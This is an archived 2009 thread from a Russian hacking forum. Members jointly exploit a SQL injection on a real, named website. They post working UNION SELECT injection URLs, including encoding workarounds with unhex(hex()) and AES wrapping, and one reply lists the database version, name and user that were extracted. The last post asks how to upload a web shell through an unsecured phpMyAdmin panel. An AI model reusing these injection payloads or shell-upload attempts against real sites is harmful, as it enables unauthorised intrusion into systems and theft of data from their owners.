ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
28.03.2009, 21:30
|
|
Новичок
Регистрация: 19.11.2008
Сообщений: 7
Провел на форуме:
31397
Репутация:
9
|
|
id=1+and+1=2 выдает ошибку
id=1+and+1=1 выдает идентично id=1 что и следовало ожидать
http://www.muslab.ru/msg.php?msg_id=-166884+and+1=2+union+select+1,2,3,4,5,6,7,8,versio n(),10,11,12,13,14,15 выдает теже самые принтабельные поля, что странно.
любая кавычка вызывает ошибку
вообщем выше собственно сам линк расковыряйте кому интересно - сайт сам по себе ценности не представляет просто стало интересно раскрутить ӕтот скуль
если кто раскрутит напишите каким методом ӕто удалось )
Последний раз редактировалось Lutherion; 28.03.2009 в 21:33..
|
|
|
28.03.2009, 21:36
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
http://www.muslab.ru/msg.php?msg_id=-166884+UNION+SELECT+1,2,3,4,5,6,7,8,AES_DECRYPT(AE S_ENCRYPT(CONCAT_WS(0x3a,Version(),Database(),User ()),0x71),0x71),10,11,12,13,14,15/*
Database Version: 4.1.11-Debian_4sarge2-log
Database name: k4dre_data
User name: k4dre_data@77.221.130.1
не понял в чем проблема?
|
|
|
|
28.03.2009, 21:38
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638
Репутация:
256
|
|
Бля писец проблему нашли!!! version() здесь просто фильтруется!!!
Вот вывод:
http://www.muslab.ru/msg.php?msg_id=-166884+union+select+1,2,3,4,5,6,7,8,unhex(hex(vers ion())),10,11,12,13,14,15
|
|
|
|
28.03.2009, 21:40
|
|
Новичок
Регистрация: 19.11.2008
Сообщений: 7
Провел на форуме:
31397
Репутация:
9
|
|
странно - я пробовал криптовать но нифига не выходило - видать где-то ступил
сори ) и спс
|
|
|
|
28.03.2009, 21:44
|
|
Новичок
Регистрация: 19.11.2008
Сообщений: 7
Провел на форуме:
31397
Репутация:
9
|
|
Сообщение от DrAssault
Бля писец проблему нашли!!!
ну куле, бывает 
Последний раз редактировалось Lutherion; 28.03.2009 в 21:46..
|
|
|
|
28.03.2009, 22:06
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Сообщение от DrAssault
Бля писец проблему нашли!!! version() здесь просто фильтруется!!!
Вот вывод:
http://www.muslab.ru/msg.php?msg_id=-166884+union+select+1,2,3,4,5,6,7,8,unhex(hex(vers ion())),10,11,12,13,14,15
Не нужно писать чушь в перемешку с матом. О какой фильтрации ты говоришь? И что по твоему делает твой запрос? Обходит фильтрацию?
|
|
|
|
28.03.2009, 22:12
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Jokester не злись, просто вот сюда http://forum.antichat.ru/thread104591.html всех надо посылать, благо много там познавательного
|
|
|
|
28.03.2009, 22:43
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638
Репутация:
256
|
|
Сообщение от jokester
Не нужно писать чушь в перемешку с матом. О какой фильтрации ты говоришь? И что по твоему делает твой запрос? Обходит фильтрацию?
Причём тут чушь? На мой взгляд дело в несовмеситимости кодировок, что можно обойти как вариантом предложенным Gorev'ым так и моим...
Может я чёт невдупляю, так ты поясни в чём моя ошибка...
Начёт мата, не знал что бл* матом считать то можно)
|
|
|
|
28.03.2009, 22:48
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
DrAssault Кодировка и фильтрация , это абсолютно разные вещи. Сдесь кодировка, а фильтрация так не обходится, и обходиться не может.
Мои пояснения (в том числе по этому вопросу) можно увидеть по линку приведённому Gorev'ым в посте выше
|
|
|
|
28.03.2009, 22:49
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме:
1996429
Репутация:
468
|
|
Подскажите плз, как быть.
нашел незапороленный пхпмай адмни.
Пытаюсь залить шел, пишет
import.php: Missing parameter: import_type (FAQ 2.8)
import.php: Missing parameter: format (FAQ 2.8)
и как быть? |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
